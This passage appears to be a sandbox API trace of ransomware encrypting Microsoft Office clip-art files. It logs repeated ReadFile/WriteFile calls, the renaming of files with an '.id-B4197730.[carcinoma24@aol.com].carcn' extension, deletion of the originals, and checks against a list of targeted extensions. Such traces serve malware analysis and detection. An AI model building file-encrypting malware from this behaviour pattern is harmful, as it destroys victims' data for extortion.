lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0312.362] GetLastError () returned 0x0 [0312.362] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0xe70, lpOverlapped=0x0) returned 1 [0312.365] WriteFile (in: hFile=0x318, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xe80, lpOverlapped=0x0) returned 1 [0312.366] ReadFile (in: hFile=0x324, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.367] WriteFile (in: hFile=0x318, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.367] SetEndOfFile (hFile=0x318) returned 1 [0312.367] CloseHandle (hObject=0x318) returned 1 [0312.367] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.367] SetEndOfFile (hFile=0x324) returned 1 [0312.368] CloseHandle (hObject=0x324) returned 1 [0312.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf")) returned 1 [0312.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.369] lstrlenW (lpString=".doc") returned 4 [0312.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.369] lstrlenW (lpString=".docx") returned 5 [0312.369] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0312.369] lstrlenW (lpString=".pdf") returned 4 [0312.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.369] lstrlenW (lpString=".xls") returned 4 [0312.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.370] lstrlenW (lpString=".xlsx") returned 5 [0312.370] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0312.370] lstrlenW (lpString=".ppt") returned 4 [0312.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.370] lstrlenW (lpString=".zip") returned 4 [0312.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.370] lstrlenW (lpString=".rar") returned 4 [0312.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.370] lstrlenW (lpString=".bz2") returned 4 [0312.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.370] lstrlenW (lpString=".7z") returned 3 [0312.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.370] lstrlenW (lpString=".dbf") returned 4 [0312.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.370] lstrlenW (lpString=".1cd") returned 4 [0312.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF") returned 68 [0312.370] lstrlenW (lpString=".jpg") returned 4 [0312.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.386] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.386] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.405] GetLastError () returned 0x0 [0312.405] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2ab4, lpOverlapped=0x0) returned 1 [0312.415] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2ac0, lpOverlapped=0x0) returned 1 [0312.417] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.417] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.417] SetEndOfFile (hFile=0x324) returned 1 [0312.417] CloseHandle (hObject=0x324) returned 1 [0312.417] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.417] SetEndOfFile (hFile=0x38c) returned 1 [0312.418] CloseHandle (hObject=0x38c) returned 1 [0312.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0312.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.419] lstrlenW (lpString=".doc") returned 4 [0312.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString=".docx") returned 5 [0312.420] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0312.420] lstrlenW (lpString=".pdf") returned 4 [0312.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString=".xls") returned 4 [0312.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.420] lstrlenW (lpString=".xlsx") returned 5 [0312.420] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0312.420] lstrlenW (lpString=".ppt") returned 4 [0312.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.420] lstrlenW (lpString=".zip") returned 4 [0312.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.420] lstrlenW (lpString=".rar") returned 4 [0312.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString=".bz2") returned 4 [0312.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString=".7z") returned 3 [0312.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.420] lstrlenW (lpString=".dbf") returned 4 [0312.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.420] lstrlenW (lpString=".1cd") returned 4 [0312.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF") returned 68 [0312.421] lstrlenW (lpString=".jpg") returned 4 [0312.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.424] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.424] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.425] GetLastError () returned 0x0 [0312.425] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x40f8, lpOverlapped=0x0) returned 1 [0312.450] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4100, lpOverlapped=0x0) returned 1 [0312.452] ReadFile (in: hFile=0x38c, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.452] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.452] SetEndOfFile (hFile=0x324) returned 1 [0312.452] CloseHandle (hObject=0x324) returned 1 [0312.452] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.452] SetEndOfFile (hFile=0x38c) returned 1 [0312.453] CloseHandle (hObject=0x38c) returned 1 [0312.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0312.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.455] lstrlenW (lpString=".doc") returned 4 [0312.455] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.455] lstrlenW (lpString=".docx") returned 5 [0312.455] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0312.455] lstrlenW (lpString=".pdf") returned 4 [0312.455] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.455] lstrlenW (lpString=".xls") returned 4 [0312.455] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.455] lstrlenW (lpString=".xlsx") returned 5 [0312.455] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0312.455] lstrlenW (lpString=".ppt") returned 4 [0312.455] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.455] lstrlenW (lpString=".zip") returned 4 [0312.455] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.455] lstrlenW (lpString=".rar") returned 4 [0312.455] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.455] lstrlenW (lpString=".bz2") returned 4 [0312.455] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.455] lstrlenW (lpString=".7z") returned 3 [0312.456] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.456] lstrlenW (lpString=".dbf") returned 4 [0312.456] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.456] lstrlenW (lpString=".1cd") returned 4 [0312.456] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF") returned 68 [0312.456] lstrlenW (lpString=".jpg") returned 4 [0312.456] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.466] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.466] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0312.468] GetLastError () returned 0x0 [0312.468] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x2584, lpOverlapped=0x0) returned 1 [0312.498] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x2590, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x2590, lpOverlapped=0x0) returned 1 [0312.499] ReadFile (in: hFile=0x374, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.499] WriteFile (in: hFile=0x380, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.500] SetEndOfFile (hFile=0x380) returned 1 [0312.500] CloseHandle (hObject=0x380) returned 1 [0312.500] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.500] SetEndOfFile (hFile=0x374) returned 1 [0312.501] CloseHandle (hObject=0x374) returned 1 [0312.501] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.502] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152622.wmf")) returned 1 [0312.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.506] lstrlenW (lpString=".doc") returned 4 [0312.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.506] lstrlenW (lpString=".docx") returned 5 [0312.506] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0312.506] lstrlenW (lpString=".pdf") returned 4 [0312.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.506] lstrlenW (lpString=".xls") returned 4 [0312.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.506] lstrlenW (lpString=".xlsx") returned 5 [0312.506] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0312.506] lstrlenW (lpString=".ppt") returned 4 [0312.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.506] lstrlenW (lpString=".zip") returned 4 [0312.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.506] lstrlenW (lpString=".rar") returned 4 [0312.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.506] lstrlenW (lpString=".bz2") returned 4 [0312.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.507] lstrlenW (lpString=".7z") returned 3 [0312.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.507] lstrlenW (lpString=".dbf") returned 4 [0312.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.507] lstrlenW (lpString=".1cd") returned 4 [0312.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152622.WMF") returned 68 [0312.507] lstrlenW (lpString=".jpg") returned 4 [0312.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.513] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.514] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0312.515] GetLastError () returned 0x0 [0312.515] ReadFile (in: hFile=0x380, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x544, lpOverlapped=0x0) returned 1 [0312.528] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x550, lpOverlapped=0x0) returned 1 [0312.529] ReadFile (in: hFile=0x380, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.529] WriteFile (in: hFile=0x324, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.529] SetEndOfFile (hFile=0x324) returned 1 [0312.530] CloseHandle (hObject=0x324) returned 1 [0312.530] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.530] SetEndOfFile (hFile=0x380) returned 1 [0312.531] CloseHandle (hObject=0x380) returned 1 [0312.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0312.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.534] lstrlenW (lpString=".doc") returned 4 [0312.534] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0312.534] lstrlenW (lpString=".docx") returned 5 [0312.534] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0312.534] lstrlenW (lpString=".pdf") returned 4 [0312.534] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0312.534] lstrlenW (lpString=".xls") returned 4 [0312.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0312.535] lstrlenW (lpString=".xlsx") returned 5 [0312.535] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0312.535] lstrlenW (lpString=".ppt") returned 4 [0312.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.535] lstrlenW (lpString=".zip") returned 4 [0312.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0312.535] lstrlenW (lpString=".rar") returned 4 [0312.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString=".bz2") returned 4 [0312.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString=".7z") returned 3 [0312.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.535] lstrlenW (lpString=".dbf") returned 4 [0312.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.535] lstrlenW (lpString=".1cd") returned 4 [0312.535] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0312.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF") returned 68 [0312.535] lstrlenW (lpString=".jpg") returned 4 [0312.535] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0312.544] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.544] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0312.549] GetLastError () returned 0x0 [0312.549] ReadFile (in: hFile=0x388, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x4b8, lpOverlapped=0x0) returned 1 [0312.565] WriteFile (in: hFile=0x38c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0312.566] ReadFile (in: hFile=0x388, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0312.566] WriteFile (in: hFile=0x38c, lpBuffer=0x3e46020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e46020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0312.566] SetEndOfFile (hFile=0x38c) returned 1 [0312.567] CloseHandle (hObject=0x38c) returned 1 [0312.567] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.567] SetEndOfFile (hFile=0x388) returned 1 [0312.568] CloseHandle (hObject=0x388) returned 1 [0312.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0312.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1 [0312.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68 [0312.572] lstrlenW 